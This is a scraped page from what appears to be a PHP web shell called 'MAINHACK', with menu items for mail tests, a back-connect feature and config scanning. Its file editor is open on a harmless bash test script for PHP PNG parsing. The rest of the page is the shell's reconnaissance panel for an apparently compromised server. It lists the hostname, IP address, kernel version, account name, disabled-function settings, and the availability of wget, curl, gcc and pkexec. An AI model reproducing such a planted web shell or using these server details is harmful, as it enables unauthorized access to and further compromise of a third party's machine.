[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test.sh
#!/bin/bash TEST_OK=0 TEST_FAIL=0 function test_end { echo "" echo "" printf "%-40s" "$1 test failures found" if [ $1 -gt 0 ]; then log_fail else log_ok fi return "$1" } function test_start { TEST_OK=0 TEST_FAIL=0 } function log_ok { echo -e "[ \033[0;32mPASS\033[0m ]" } function log_fail { echo -e "[ \033[0;31mFAIL\033[0m ]" } function expect_failure { temp_file=$(mktemp) printf "%-40s" "$1" shift $@ &> log.txt if [ $? -ne 0 ]; then log_ok TEST_OK=$((TEST_OK+1)) else log_fail #cat ${temp_file} TEST_FAIL=$((TEST_FAIL+1)) fi rm ${temp_file} } function expect_success { temp_file=$(mktemp) printf "%-40s" "$1" shift $@ &> ${temp_file} if [ $? -ne 0 ]; then log_fail #cat ${temp_file} TEST_FAIL=$((TEST_FAIL+1)) else log_ok TEST_OK=$((TEST_OK+1)) fi rm ${temp_file} } function test_commands { PNGSUITE="../resources/pngsuite/" for i in $(find $PNGSUITE -type f -name '*.png' | sort | grep -v pngsuite/x); do echo $0 expect_success "$(basename $i)" php read.php "$i" done for i in $(find $PNGSUITE -type f -name '*.png' | sort | grep pngsuite/x); do echo $0 expect_failure "$(basename $i)" php read.php "$i"& done } set -u -o pipefail if [ $# -eq 0 ]; then mkdir -p out/ test_start test_commands | parallel --no-notice test_end $? else subcmd=$1 shift test_start if [ $subcmd == "expect_success" ]; then expect_success $@ elif [ $subcmd == "expect_failure" ]; then expect_failure $@ fi exit $TEST_FAIL fi
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.3 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002